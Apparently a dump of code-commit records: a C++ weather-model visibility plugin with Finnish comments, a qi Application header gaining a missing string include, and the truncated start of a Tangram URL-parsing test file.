PF);\ndouble VisibilityInMist(double stN, double stH, double RR, double RH);\n\nvisibility::visibility()\n{\n\titsClearTextFormula = \"<algorithm>\";\n\titsLogger = logger_factory::Instance()->GetLog(\"visibility\");\n}\n\nvoid visibility::Process(std::shared_ptr<const plugin_configuration> conf)\n{\n\tInit(conf);\n\n\tSetParams({param(\"VV2-M\", 407)});\n\n\tStart();\n}\n\n\/*\n * Calculate()\n *\n * This function does the actual calculation.\n *\/\n\nvoid visibility::Calculate(shared_ptr<info> myTargetInfo, unsigned short threadIndex)\n{\n\tauto myThreadedLogger =\n\t    logger_factory::Instance()->GetLog(\"visibilityThread #\" + boost::lexical_cast<string>(threadIndex));\n\n\tforecast_time forecastTime = myTargetInfo->Time();\n\tlevel forecastLevel = myTargetInfo->Level();\n\tforecast_type forecastType = myTargetInfo->ForecastType();\n\n\tmyThreadedLogger->Info(\"Calculating time \" + static_cast<string>(forecastTime.ValidDateTime()) + \" level \" +\n\t                       static_cast<string>(forecastLevel));\n\n\tinfo_t RHInfo = Fetch(forecastTime, RHLevel, RHParam, forecastType, false);\n\tinfo_t PFInfo = Fetch(forecastTime, NLevel, PFParams, forecastType, false);\n\tinfo_t RRInfo = Fetch(forecastTime, NLevel, RRParam, forecastType, false);\n\n\tif (!RRInfo || !RHInfo || !PFInfo)\n\t{\n\t\tmyThreadedLogger->Warning(\"Skipping step \" + boost::lexical_cast<string>(forecastTime.Step()) + \", level \" +\n\t\t                          static_cast<string>(forecastLevel));\n\t\treturn;\n\t}\n\n\tdouble RHScale = 1;\n\n\tif (itsConfiguration->SourceProducer().Id() == 1 || itsConfiguration->SourceProducer().Id() == 199 ||\n\t    itsConfiguration->SourceProducer().Id() == 4)\n\t{\n\t\tRHScale = 100;\n\t}\n\n\tauto h = GET_PLUGIN(hitool);\n\n\th->Configuration(itsConfiguration);\n\th->Time(myTargetInfo->Time());\n\th->ForecastType(myTargetInfo->ForecastType());\n\n\t\/\/ Alle 304m (1000ft) sumupilven (max) määrä [0..1]\n\tauto stN = h->VerticalMaximum(NParam, 0, stMaxH);\n\n\t\/\/ Stratus <15m (~0-50ft)\n\tauto st15 = h->VerticalAverage(NParam, 0, 15);\n\n\t\/\/ Stratus 15-45m (~50-150ft)\n\tauto st45 = h->VerticalAverage(NParam, 15, 45);\n\n\t\/\/ Sumupilven korkeus [m]\n\tauto stH = h->VerticalHeightGreaterThan(NParam, 0, stMaxH, stLimit);\n\n\t\/\/ Jos sumupilveä ohut kerros (vain) ~alimmalla mallipinnalla, jätetään alin kerros huomioimatta\n\t\/\/ (ehkä mieluummin ylempää keskiarvo, jottei tällöin mahdollinen ylempi st-kerros huononna näkyvyyttä liikaa?)\n\tauto stHup = h->VerticalHeightGreaterThan(NParam, 15, stMaxH, stLimit);\n\tauto stNup = h->VerticalMaximum(NParam, 15, stMaxH);\n\n\tassert(stH.size() == stHup.size());\n\tassert(st15.size() == stH.size());\n\n\tfor (size_t i = 0; i < stH.size(); i++)\n\t{\n\t\tif (st15[i] > stLimit && st45[i] < stLimit)\n\t\t{\n\t\t\tstN[i] = stNup[i];\n\t\t\tstH[i] = stHup[i];\n\t\t}\n\t}\n\n\tstring deviceType = \"CPU\";\n\n\tauto& target = VEC(myTargetInfo);\n\n\tfor (auto&& tup : zip_range(target, VEC(PFInfo), VEC(RRInfo), VEC(RHInfo), stN, stH))\n\t{\n\t\tdouble& result = tup.get<0>();\n\t\tdouble PF = tup.get<1>();\n\t\tdouble RR = tup.get<2>();\n\t\tdouble RH = tup.get<3>();\n\t\tdouble stratN = tup.get<4>();\n\t\tdouble stratH = tup.get<5>();\n\n\t\tif (RR == kFloatMissing || RH == kFloatMissing)\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\n\t\tassert(stratN <= 1.0);\n\t\tassert(RR < 50);\n\n\t\tstratN *= 100;  \/\/ Note! Cloudiness is scaled to percents\n\n\t\tRH *= RHScale;\n\n\t\tassert(RH < 102.);\n\n\t\tdouble visPre = defaultVis;\n\n\t\tif (RR > 0)\n\t\t{\n\t\t\tvisPre = VisibilityInRain(stratN, stratH, RR, RH, PF);\n\t\t}\n\n\t\tdouble visMist = VisibilityInMist(stratN, stratH, RR, RH);\n\n\t\t\/\/ Choose lower visibility to be the end result\n\n\t\tresult = fmin(visMist, visPre);\n\t}\n\n\tmyThreadedLogger->Info(\"[\" + deviceType + \"] Missing values: \" +\n\t                       boost::lexical_cast<string>(myTargetInfo->Data().MissingCount()) + \"\/\" +\n\t                       boost::lexical_cast<string>(myTargetInfo->Data().Size()));\n}\n\ndouble VisibilityInRain(double stN, double stH, double RR, double RH, int PF)\n{\n\tdouble visPre = defaultVis;\n\n\t\/\/ Näkyvyyden utuisuuskerroin sateessa 2m suhteellisen kosteuden perusteella [0,85...8,5, kun 100%<rh<10%]\n\t\/\/ (jos rh<85%, näkyvyyttä parannetaan)\n\n\tconst double RHpre = 85. \/ RH;\n\n\t\/\/ Näkyvyyden utuisuuskerroin sateessa matalan sumupilven (alle 1000ft) määrän perusteella [1...0,85, kun\n\t\/\/ 50<N<100%]\n\t\/\/ Alle 50% sumupilven määrä ei siis huononna näkyvyyttä sateessa\n\n\tconst double stNpre = (stN >= 50) ? log(50) \/ log(stN) : 1;\n\n\t\/\/ Näkyvyyden utuisuuskerroin sateessa matalan sumupilvikorkeuden perusteella [0,68...1, kun stH=12...152m]\n\t\/\/ Yli 152m (500ft) korkeudella oleva sumupilvi ei siis huononna näkyvyyttä sateessa\n\n\tconst double stHpre = (stH != kFloatMissing && stH < 152) ? pow((stH \/ 152), 0.15) : 1;\n\n\tassert(PF != kFloatMissing);\n\n\tswitch (PF)\n\t{\n\t\tcase 0:\n\t\tcase 4:\n\t\t\t\/\/ Tihku (tai jäätävä tihku)\n\t\t\t\/\/ Nakyvyys intensiteetin perusteella\n\t\t\tvisPre = 1. \/ RR * 500;\n\t\t\tbreak;\n\n\t\tcase 1:\n\t\tcase 5:\n\t\t\t\/\/ Vesisade (tai jäätävä vesisade)\n\t\t\t\/\/ Nakyvyys intensiteetin perusteella\n\t\t\t\/\/ (kaava antaa ehkä turhan huonoja <4000m näkyvyyksiä reippaassa RR>4 vesisateessa)\n\t\t\tvisPre = 1 \/ RR * 6000 + 2000;\n\t\t\tbreak;\n\n\t\tcase 3:\n\t\t\t\/\/ Snow\n\t\t\t\/\/ Näkyvyys intensiteetin perusteella\n\t\t\tvisPre = 1 \/ (RR + pseudoRR) * 1400;\n\t\t\tbreak;\n\n\t\tcase 2:\n\t\t\t\/\/ Sleet\n\t\t\t\/\/ Näkyvyys intensiteetin perusteella\n\t\t\tvisPre = 1 \/ (RR + pseudoRR) * 2000;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tthrow runtime_error(\"New unhandled precipitation form value: \" + to_string(PF));\n\t}\n\n\t\/\/ Mahdollinen lisähuononnus utuisuuden perusteella\n\tvisPre = visPre * RHpre * stNpre * stHpre;\n\n\treturn fmin(visPre, defaultVis);\n}\n\ndouble VisibilityInMist(double stN, double stH, double RR, double RH)\n{\n\tdouble visMist = defaultVis;\n\n\t\/\/ Näkyvyyden utuisuuskerroin udussa\/sumussa sumupilven määrän perusteella [7,5...0,68, kun stN = 0...100%]\n\tconst double stNmist = 75. \/ (stN + 10);\n\n\t\/\/ Nakyvyyden utuisuuskerroin udussa\/sumussa sumupilvikorkeuden perusteella [ 0,47...1, kun par500 = 50...999ft]\n\tconst double stHmist = (stH != kFloatMissing && stH < 305) ? pow((stH \/ 0.3048 \/ 1000), 0.25) : 1;\n\n\t\/\/ Nakyvyys udussa\/sumussa, lasketaan myos heikossa sateessa (tarkoituksena tasoittaa suuria\n\t\/\/ nakyvyysgradientteja sateen reunalla)\n\t\/\/ (ehka syyta rajata vain tilanteisiin, jossa sateen perusteella saatu nakyvyys oli viela >8000?)\n\n\tif ((RR < 0.5 || RR == kFloatMissing) && RH > 80)\n\t{\n\t\t\/\/ Näkyvyys udussa\/sumussa\n\t\t\/\/ Yksinkertaistetty kaava, eli lasketaan samalla tavalla riippumatta siitä, onko pakkasta vai ei\n\t\t\/\/ (pakkaset eri tavalla voisi olla parempi tapa)\n\n\t\t\/\/ Alkuarvo suht. kosteuden perusteella [700-31400m, kun 100<=RH<80]\n\t\tvisMist = pow((101 - RH), 1.25) * 700;\n\t\t\/\/ Lisamuokkaus sumupilven maaran ja korkeuden perusteella\n\t\tvisMist = visMist * stNmist * stHmist;\n\t}\n\n\treturn fmin(visMist, defaultVis);\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\/*\n * Copyright (c) 2012, 2013 Aldebaran Robotics. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the COPYING file.\n *\/\n\n#ifndef _QI_APPLICATION_HPP_\n# define _QI_APPLICATION_HPP_\n\n# include <functional>\n# include <vector>\n# include <qi\/api.hpp>\n\nnamespace qi {\n\n  \/**\n   * \\includename{qi\/application.hpp}\n   * \\brief Class handling startup and teardown of an application.\n   *\n   * \\verbatim\n   * The :cpp:class:`qi::Application` class is designed to ease\n   * startup and teardown of an executable.\n   *\n   * All executables using qi classes should create an instance of\n   * :cpp:class:`qi::Application` on the stack of the main() function.\n   * \\endverbatim\n   *\/\n  class QI_API Application\n  {\n  public:\n    \/**\n     * \\brief Application constructor. Must be the first thing called by main().\n     * \\param argc Argument counter of the program.\n     * \\param argv Arguments of the program (given to main).\n     * \\param name The name of the program. It will be returned by name().\n     * \\param path The full path to the program if you wish to override it. It\n     * will be returned by program() but not realProgram().\n     * \\throw std::logic_error When the constructor is called twice.\n     *\/\n    Application(int& argc, char** &argv, const std::string& name = \"\", const std::string& path = \"\");\n    \/**\n     * \\brief Application constructor. Must be the first thing called by main().\n     * \\param name Name of the application.\n     * \\param argc Argument counter of the program.\n     * \\param argv Arguments of the program (given to main).\n     * \\throw std::logic_error When the constructor is called twice.\n     * \\deprecated Use Application(int&, char**&, const std::string&, const\n     * std::string&)\n     *\/\n    QI_API_DEPRECATED Application(const std::string &name, int& argc, char** &argv);\n    \/**\n     * \\brief Application destructor. It executes atExit() callbacks.\n     * \\see qi:Application::atExit\n     * \\see QI_AT_EXIT\n     *\/\n    ~Application();\n\n    \/**\n     * \\brief Wait until the end of the program.\n     *\n     * \\verbatim\n     * Wait until one of those conditions becomes true:\n     * - stop() is called.\n     * - TERM or QUIT signal is received.\n     * - the Application instance is destroyed, which means main() is exiting.\n     *\n     * Run can be called by multiple threads simultaneously.\n     * \\endverbatim\n     *\/\n    static void run();\n    \/**\n     * \\brief Stop the application. Call all atStop handlers.\n     *\/\n    static void stop();\n\n    \/**\n     * \\brief Get arguments of the program as an std::vector of std::string.\n     * \\return List of arguments of the program.\n     *\/\n    static const std::vector<std::string>& arguments();\n    \/**\n     * \\brief Get argument counter of the program.\n     * \\return Argument counter of the program if Application was initialized,\n     *         -1 otherwise.\n     *\/\n    static int argc();\n    \/**\n     * \\brief Get string arguments of the program (including program name).\n     * \\return Arguments of the program if Application was initialized, 0 otherwise.\n     *\/\n    static const char** argv();\n    \/**\n     * \\brief Set application name.\n     * \\param name The application's name.\n     *\/\n    static void setName(const std::string &name);\n    \/**\n     * \\brief Get application name.\n     * \\return A string with the application name,\n     *         empty string if setName isn't call.\n     *\/\n    static std::string name();\n    \/**\n     * \\brief Set arguments of the program with argc as argument counter and argv as\n     *        argument values.\n     * \\param argc Argument counter of the program.\n     * \\param argv Arguments of the program (given to main).\n     *\/\n    static void setArguments(int argc, char** argv);\n    \/**\n     * \\brief Set arguments ot the program as an std::vector of std::string.\n     * \\param arguments Sets arguments with a vector of strings.\n     *\/\n    static void setArguments(const std::vector<std::string>& arguments);\n\n    \/**\n     * \\brief Load a module into the current process.\n     * \\param name The module path and name. If no extension is used, the\n     *        correct extension for a library on the current platform is used.\n     * \\param flags Extra flags to pass to the dlopen function.\n     * \\return A handle, to be used by qi::os::dlsym() or unloadModule().\n     *\n     * \\verbatim\n     * The module can execute code when loaded by using :cpp:macro:`QI_AT_ENTER`.\n     * \\endverbatim\n     *\/\n    static void* loadModule(const std::string& name, int flags=-1);\n    \/**\n     * \\brief Unload a module from the current process.\n     * \\param handle Handle on the loaded module.\n     *\/\n    static void unloadModule(void* handle);\n    \/**\n     * \\brief Check whether the Application instance is terminated or not.\n     * \\return True if it is stop, false otherwise.\n     *\/\n    static bool terminated();\n    \/**\n     * \\brief Check whether the Application instance was initialized or not.\n     * \\return True if it was initialized, false otherwise.\n     *\/\n    static bool initialized();\n\n    \/**\n     * \\brief Return the current program full path according to argv[0]\n     * \\return full path to the current running program, symbolic links are not\n     * resolved.\n     * \\see realProgram\n     *\/\n    static const char* program();\n\n    \/**\n     * \\brief Return the current program full path.\n     * \\return full path to the current running program, symbolic links are\n     * resolved.\n     *\n     * When using this function from a Python application for example on\n     * gentoo, it will return something like \/usr\/bin\/python2.7 (because python\n     * is a symlink to python-wrapper which will exec() \/usr\/bin\/python2.7). On\n     * the other hand, program() will return the full path to the script run by\n     * the Python interpreter.\n     *\n     * \\verbatim\n     * Computed using specific OS API:\n     *\n     * - Apple  : _NSGetExecutablePath\n     * - Linux  : reading \"\/proc\/self\/exe\"\n     * - Windows: GetModuleFileName\n     *\n     * If the former API fail it will try to guess the value from argv[0].\n     * For this method to work :cpp:func:`qi::Application(int&, char**&)` should\n     * have been called in your main().\n     * \\endverbatim\n     *\/\n    static const char* realProgram();\n\n    \/**\n     * \\brief Return the SDK path given through --qi-sdk-prefix or QI_SDK_PREFIX\n     *\n     * Used internally, you should not need this.\n     *\/\n    static const char* _suggestedSdkPath();\n\n    \/**\n     * \\brief Return the SDK path given through QI_ADDITIONAL_SDK_PREFIXES\n     *\n     * Used internally, you should not need this.\n     *\/\n    static const std::vector<std::string>& _suggestedSdkPaths();\n\n    \/**\n     * \\brief Register a function to be executed at Application creation.\n     * \\param func Callback function at Application creation.\n     * \\return True if registering succeeded, false otherwise.\n     *\/\n    static bool atEnter(std::function<void()> func);\n\n    \/**\n     * \\brief Register a function to be executed at Application destruction.\n     * \\param func Callback function called at Application destruction.\n     * \\return True if registering succeeded, false otherwise.\n     *\/\n    static bool atExit(std::function<void()> func);\n    \/**\n     * \\brief Register a function to be executed when stop() is called.\n     * The functions are executed sequentially before run() returns.\n     * \\param func Callback function called when stop() is called.\n     * \\return True if registering succeeded, false otherwise.\n     *\/\n    static bool atStop(std::function<void()> func);\n\n    \/**\n     * \\brief Register a function to be executed when a signal occurs.\n     * \\param func Callback function called on signal.\n     * \\param signal Signal number.\n     * \\return True if registering succeeded, false otherwise.\n     *\n     * The handler is executed in a thread, not from within the signal handler,\n     * so there is no restriction on what can be done by your handler function,\n     * except that it should return reasonably quickly.\n     *\/\n    static bool atSignal(std::function<void(int)> func, int signal);\n  };\n}\n\n\/**\n * \\brief calls qi::Application::atEnter(func) at static initialization time.\n * \\param func The handler that must be called at enter.\n *\/\n#define QI_AT_ENTER(func)                                               \\\n  static bool QI_UNIQ_DEF(_qi_atenter) = ::qi::Application::atEnter(func);\n\n\/**\n * \\def QI_AT_EXIT(func)\n * \\brief calls qi::Application::atExit(func) at static initialization time.\n * \\param func The handler that must be called at exit.\n *\/\n#define QI_AT_EXIT(func)                                                \\\n  static bool QI_UNIQ_DEF(_qi_atexit) = ::qi::Application::atExit(func);\n\n\/\/THIS IS INTERNAL\n\/\/API is not maintained for this function\n\/\/The user need to include <boost\/program_options.hpp> and <boost\/bind.hpp>\n\/\/Use like this:\n\/\/namespace {\n\/\/  _QI_COMMAND_LINE_OPTIONS(\n\/\/    \"Name of category\",\n\/\/    (option1)\n\/\/    (option2)\n\/\/  )\n\/\/}\n#define _QI_COMMAND_LINE_OPTIONS(desc, opts)                            \\\n  static void QI_UNIQ_DEF(_qi_opt_func)() {                             \\\n    namespace po = boost::program_options;                              \\\n    po::variables_map vm;                                               \\\n    po::command_line_parser p(::qi::Application::arguments());          \\\n    po::options_description options(desc);                              \\\n    {                                                                   \\\n      using namespace boost::program_options;                           \\\n      options.add_options() opts;                                       \\\n    }                                                                   \\\n    po::parsed_options res = p.options(options)                         \\\n      .allow_unregistered()                                             \\\n      .run();                                                           \\\n    po::store(res, vm);                                                 \\\n    \/* Invoke notify callbacks*\/                                        \\\n    po::notify(vm);                                                     \\\n    {                                                                   \\\n      po::options_description descTmp;                                  \\\n      descTmp.add_options()                                             \\\n        (\"help,h\", \"\");                                                 \\\n      po::variables_map vmTmp;                                          \\\n      po::store(po::command_line_parser(qi::Application::arguments())   \\\n                .options(descTmp).allow_unregistered().run(), vmTmp);   \\\n      if (vmTmp.count(\"help\"))                                          \\\n        std::cout << options << std::endl;                              \\\n    }                                                                   \\\n    std::vector<std::string> args                                       \\\n      = po::collect_unrecognized(res.options, po::include_positional);  \\\n    \/* Set arguments to what was not used *\/                            \\\n    ::qi::Application::setArguments(args);                              \\\n  }                                                                     \\\n  QI_AT_ENTER(boost::bind(&(QI_UNIQ_DEF(_qi_opt_func))))\n\n#endif  \/\/ _QI_APPLICATION_HPP_\n<commit_msg>Fix compilation error with default string assignation<commit_after>#pragma once\n\/*\n * Copyright (c) 2012, 2013 Aldebaran Robotics. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the COPYING file.\n *\/\n\n#ifndef _QI_APPLICATION_HPP_\n# define _QI_APPLICATION_HPP_\n\n# include <functional>\n# include <vector>\n# include <string>\n# include <qi\/api.hpp>\n\nnamespace qi {\n\n  \/**\n   * \\includename{qi\/application.hpp}\n   * \\brief Class handling startup and teardown of an application.\n   *\n   * \\verbatim\n   * The :cpp:class:`qi::Application` class is designed to ease\n   * startup and teardown of an executable.\n   *\n   * All executables using qi classes should create an instance of\n   * :cpp:class:`qi::Application` on the stack of the main() function.\n   * \\endverbatim\n   *\/\n  class QI_API Application\n  {\n  public:\n    \/**\n     * \\brief Application constructor. Must be the first thing called by main().\n     * \\param argc Argument counter of the program.\n     * \\param argv Arguments of the program (given to main).\n     * \\param name The name of the program. It will be returned by name().\n     * \\param path The full path to the program if you wish to override it. It\n     * will be returned by program() but not realProgram().\n     * \\throw std::logic_error When the constructor is called twice.\n     *\/\n    Application(int& argc, char** &argv, const std::string& name = \"\", const std::string& path = \"\");\n    \/**\n     * \\brief Application constructor. Must be the first thing called by main().\n     * \\param name Name of the application.\n     * \\param argc Argument counter of the program.\n     * \\param argv Arguments of the program (given to main).\n     * \\throw std::logic_error When the constructor is called twice.\n     * \\deprecated Use Application(int&, char**&, const std::string&, const\n     * std::string&)\n     *\/\n    QI_API_DEPRECATED Application(const std::string &name, int& argc, char** &argv);\n    \/**\n     * \\brief Application destructor. It executes atExit() callbacks.\n     * \\see qi:Application::atExit\n     * \\see QI_AT_EXIT\n     *\/\n    ~Application();\n\n    \/**\n     * \\brief Wait until the end of the program.\n     *\n     * \\verbatim\n     * Wait until one of those conditions becomes true:\n     * - stop() is called.\n     * - TERM or QUIT signal is received.\n     * - the Application instance is destroyed, which means main() is exiting.\n     *\n     * Run can be called by multiple threads simultaneously.\n     * \\endverbatim\n     *\/\n    static void run();\n    \/**\n     * \\brief Stop the application. Call all atStop handlers.\n     *\/\n    static void stop();\n\n    \/**\n     * \\brief Get arguments of the program as an std::vector of std::string.\n     * \\return List of arguments of the program.\n     *\/\n    static const std::vector<std::string>& arguments();\n    \/**\n     * \\brief Get argument counter of the program.\n     * \\return Argument counter of the program if Application was initialized,\n     *         -1 otherwise.\n     *\/\n    static int argc();\n    \/**\n     * \\brief Get string arguments of the program (including program name).\n     * \\return Arguments of the program if Application was initialized, 0 otherwise.\n     *\/\n    static const char** argv();\n    \/**\n     * \\brief Set application name.\n     * \\param name The application's name.\n     *\/\n    static void setName(const std::string &name);\n    \/**\n     * \\brief Get application name.\n     * \\return A string with the application name,\n     *         empty string if setName isn't call.\n     *\/\n    static std::string name();\n    \/**\n     * \\brief Set arguments of the program with argc as argument counter and argv as\n     *        argument values.\n     * \\param argc Argument counter of the program.\n     * \\param argv Arguments of the program (given to main).\n     *\/\n    static void setArguments(int argc, char** argv);\n    \/**\n     * \\brief Set arguments ot the program as an std::vector of std::string.\n     * \\param arguments Sets arguments with a vector of strings.\n     *\/\n    static void setArguments(const std::vector<std::string>& arguments);\n\n    \/**\n     * \\brief Load a module into the current process.\n     * \\param name The module path and name. If no extension is used, the\n     *        correct extension for a library on the current platform is used.\n     * \\param flags Extra flags to pass to the dlopen function.\n     * \\return A handle, to be used by qi::os::dlsym() or unloadModule().\n     *\n     * \\verbatim\n     * The module can execute code when loaded by using :cpp:macro:`QI_AT_ENTER`.\n     * \\endverbatim\n     *\/\n    static void* loadModule(const std::string& name, int flags=-1);\n    \/**\n     * \\brief Unload a module from the current process.\n     * \\param handle Handle on the loaded module.\n     *\/\n    static void unloadModule(void* handle);\n    \/**\n     * \\brief Check whether the Application instance is terminated or not.\n     * \\return True if it is stop, false otherwise.\n     *\/\n    static bool terminated();\n    \/**\n     * \\brief Check whether the Application instance was initialized or not.\n     * \\return True if it was initialized, false otherwise.\n     *\/\n    static bool initialized();\n\n    \/**\n     * \\brief Return the current program full path according to argv[0]\n     * \\return full path to the current running program, symbolic links are not\n     * resolved.\n     * \\see realProgram\n     *\/\n    static const char* program();\n\n    \/**\n     * \\brief Return the current program full path.\n     * \\return full path to the current running program, symbolic links are\n     * resolved.\n     *\n     * When using this function from a Python application for example on\n     * gentoo, it will return something like \/usr\/bin\/python2.7 (because python\n     * is a symlink to python-wrapper which will exec() \/usr\/bin\/python2.7). On\n     * the other hand, program() will return the full path to the script run by\n     * the Python interpreter.\n     *\n     * \\verbatim\n     * Computed using specific OS API:\n     *\n     * - Apple  : _NSGetExecutablePath\n     * - Linux  : reading \"\/proc\/self\/exe\"\n     * - Windows: GetModuleFileName\n     *\n     * If the former API fail it will try to guess the value from argv[0].\n     * For this method to work :cpp:func:`qi::Application(int&, char**&)` should\n     * have been called in your main().\n     * \\endverbatim\n     *\/\n    static const char* realProgram();\n\n    \/**\n     * \\brief Return the SDK path given through --qi-sdk-prefix or QI_SDK_PREFIX\n     *\n     * Used internally, you should not need this.\n     *\/\n    static const char* _suggestedSdkPath();\n\n    \/**\n     * \\brief Return the SDK path given through QI_ADDITIONAL_SDK_PREFIXES\n     *\n     * Used internally, you should not need this.\n     *\/\n    static const std::vector<std::string>& _suggestedSdkPaths();\n\n    \/**\n     * \\brief Register a function to be executed at Application creation.\n     * \\param func Callback function at Application creation.\n     * \\return True if registering succeeded, false otherwise.\n     *\/\n    static bool atEnter(std::function<void()> func);\n\n    \/**\n     * \\brief Register a function to be executed at Application destruction.\n     * \\param func Callback function called at Application destruction.\n     * \\return True if registering succeeded, false otherwise.\n     *\/\n    static bool atExit(std::function<void()> func);\n    \/**\n     * \\brief Register a function to be executed when stop() is called.\n     * The functions are executed sequentially before run() returns.\n     * \\param func Callback function called when stop() is called.\n     * \\return True if registering succeeded, false otherwise.\n     *\/\n    static bool atStop(std::function<void()> func);\n\n    \/**\n     * \\brief Register a function to be executed when a signal occurs.\n     * \\param func Callback function called on signal.\n     * \\param signal Signal number.\n     * \\return True if registering succeeded, false otherwise.\n     *\n     * The handler is executed in a thread, not from within the signal handler,\n     * so there is no restriction on what can be done by your handler function,\n     * except that it should return reasonably quickly.\n     *\/\n    static bool atSignal(std::function<void(int)> func, int signal);\n  };\n}\n\n\/**\n * \\brief calls qi::Application::atEnter(func) at static initialization time.\n * \\param func The handler that must be called at enter.\n *\/\n#define QI_AT_ENTER(func)                                               \\\n  static bool QI_UNIQ_DEF(_qi_atenter) = ::qi::Application::atEnter(func);\n\n\/**\n * \\def QI_AT_EXIT(func)\n * \\brief calls qi::Application::atExit(func) at static initialization time.\n * \\param func The handler that must be called at exit.\n *\/\n#define QI_AT_EXIT(func)                                                \\\n  static bool QI_UNIQ_DEF(_qi_atexit) = ::qi::Application::atExit(func);\n\n\/\/THIS IS INTERNAL\n\/\/API is not maintained for this function\n\/\/The user need to include <boost\/program_options.hpp> and <boost\/bind.hpp>\n\/\/Use like this:\n\/\/namespace {\n\/\/  _QI_COMMAND_LINE_OPTIONS(\n\/\/    \"Name of category\",\n\/\/    (option1)\n\/\/    (option2)\n\/\/  )\n\/\/}\n#define _QI_COMMAND_LINE_OPTIONS(desc, opts)                            \\\n  static void QI_UNIQ_DEF(_qi_opt_func)() {                             \\\n    namespace po = boost::program_options;                              \\\n    po::variables_map vm;                                               \\\n    po::command_line_parser p(::qi::Application::arguments());          \\\n    po::options_description options(desc);                              \\\n    {                                                                   \\\n      using namespace boost::program_options;                           \\\n      options.add_options() opts;                                       \\\n    }                                                                   \\\n    po::parsed_options res = p.options(options)                         \\\n      .allow_unregistered()                                             \\\n      .run();                                                           \\\n    po::store(res, vm);                                                 \\\n    \/* Invoke notify callbacks*\/                                        \\\n    po::notify(vm);                                                     \\\n    {                                                                   \\\n      po::options_description descTmp;                                  \\\n      descTmp.add_options()                                             \\\n        (\"help,h\", \"\");                                                 \\\n      po::variables_map vmTmp;                                          \\\n      po::store(po::command_line_parser(qi::Application::arguments())   \\\n                .options(descTmp).allow_unregistered().run(), vmTmp);   \\\n      if (vmTmp.count(\"help\"))                                          \\\n        std::cout << options << std::endl;                              \\\n    }                                                                   \\\n    std::vector<std::string> args                                       \\\n      = po::collect_unrecognized(res.options, po::include_positional);  \\\n    \/* Set arguments to what was not used *\/                            \\\n    ::qi::Application::setArguments(args);                              \\\n  }                                                                     \\\n  QI_AT_ENTER(boost::bind(&(QI_UNIQ_DEF(_qi_opt_func))))\n\n#endif  \/\/ _QI_APPLICATION_HPP_\n<|endoftext|>"}
{"text":"<commit_before>#include \"catch.hpp\"\n\n#include \"util\/url.h\"\n\nusing namespace Tangram;\n\nTEST_CASE(\"Parse components of a correctly formatted URL\", \"[Url]\") {\n\n    \/\/ Tests conformance to https:\/\/tools.ietf.org\/html\/rfc1808#section-2.1\n\n    Url url(\"https:\/\/tile.mapzen.com\/mapzen\/vector\/v1\/all\/0\/0\/0.mvt;param=val?api_key=mapsRcool#yolo\");\n\n    CHECK(!url.isEmpty());\n    CHECK(url.isAbsolute());\n    CHECK(!url.hasDataScheme());\n    CHECK(!url.hasBase64Data());\n    CHECK(!url.hasFileScheme());\n    CHECK(url.hasHttpScheme());\n    CHECK(url.hasScheme());\n    CHECK(url.scheme() == \"https\");\n    CHECK(url.hasNetLocation());\n    CHECK(url.netLocation() == \"vector.mapzen.com\");\n    CHECK(url.hasPath());\n    CHECK(url.path() == \"\/osm\/all\/0\/0\/0.mvt\");\n    CHECK(url.hasParameters());\n    CHECK(url.parameters() == \"param=val\");\n    CHECK(url.hasQuery());\n    CHECK(url.query() == \"api_key=mapsRcool\");\n    CHECK(url.hasFragment());\n    CHECK(url.fragment() == \"yolo\");\n    CHECK(!url.hasMediaType());\n    CHECK(!url.hasData());\n\n}\n\nTEST_CASE(\"Parse components of a correctly formatted data URI\", \"[Url]\") {\n\n    \/\/ Tests conformance to https:\/\/tools.ietf.org\/html\/rfc2397#section-3\n\n    Url url(\"data:text\/html;charset=utf-8;base64,YmFzZTY0\");\n\n    CHECK(!url.isEmpty());\n    CHECK(url.isAbsolute());\n    CHECK(url.hasDataScheme());\n    CHECK(url.hasBase64Data());\n    CHECK(!url.hasFileScheme());\n    CHECK(!url.hasHttpScheme());\n    CHECK(url.hasScheme());\n    CHECK(url.scheme() == \"data\");\n    CHECK(!url.hasNetLocation());\n    CHECK(!url.hasParameters());\n    CHECK(!url.hasQuery());\n    CHECK(!url.hasFragment());\n    CHECK(url.hasMediaType());\n    CHECK(url.mediaType() == \"text\/html;charset=utf-8\");\n    CHECK(url.hasData());\n    CHECK(url.data() == \"YmFzZTY0\");\n\n}\n\nTEST_CASE(\"Parse an empty URL\", \"[Url]\") {\n\n    Url url(\"\");\n\n    CHECK(url.isEmpty());\n    CHECK(!url.isAbsolute());\n    CHECK(!url.hasDataScheme());\n    CHECK(!url.hasBase64Data());\n    CHECK(!url.hasScheme());\n    CHECK(!url.hasNetLocation());\n    CHECK(!url.hasPath());\n    CHECK(!url.hasParameters());\n    CHECK(!url.hasQuery());\n    CHECK(!url.hasFragment());\n    CHECK(!url.hasMediaType());\n    CHECK(!url.hasData());\n\n}\n\nTEST_CASE(\"Remove dot segments from a path\", \"[Url]\") {\n\n    \/\/ Tests conformance to https:\/\/tools.ietf.org\/html\/rfc3986#section-5.2.4\n\n    CHECK(Url::removeDotSegmentsFromString(\"\") == \"\");\n    CHECK(Url::removeDotSegmentsFromString(\"a\/b\/c\") == \"a\/b\/c\");\n    CHECK(Url::removeDotSegmentsFromString(\"a\/b=?.;5\/c\") == \"a\/b=?.;5\/c\");\n    CHECK(Url::removeDotSegmentsFromString(\"\/a\/b\/c\/.\/..\/..\/g\") == \"\/a\/g\");\n    CHECK(Url::removeDotSegmentsFromString(\"..\/a\/b\") == \"a\/b\");\n    CHECK(Url::removeDotSegmentsFromString(\".\/\") == \"\");\n    CHECK(Url::removeDotSegmentsFromString(\"..\") == \"\");\n    CHECK(Url::removeDotSegmentsFromString(\"a\/b\/..\/..\/..\") == \"\");\n    CHECK(Url::removeDotSegmentsFromString(\"a\/b\/..\/c\/..\/d\/.\/e\/..\") == \"a\/d\");\n    CHECK(Url::removeDotSegmentsFromString(\"a\/\/b\/\/c\") == \"a\/\/b\/\/c\");\n    CHECK(Url::removeDotSegmentsFromString(\"a.\/b..\/..c\/.d\") == \"a.\/b..\/..c\/.d\");\n\n}\n\nTEST_CASE(\"Produce a 'standardized' URL\", \"[Url]\") {\n\n    CHECK(Url(\"http:\/\/example.com\/path\/oops\/not\/here\/..\/..\/..\/file.txt;p?q#f\").standardized().string() == \"http:\/\/example.com\/path\/file.txt;p?q#f\");\n    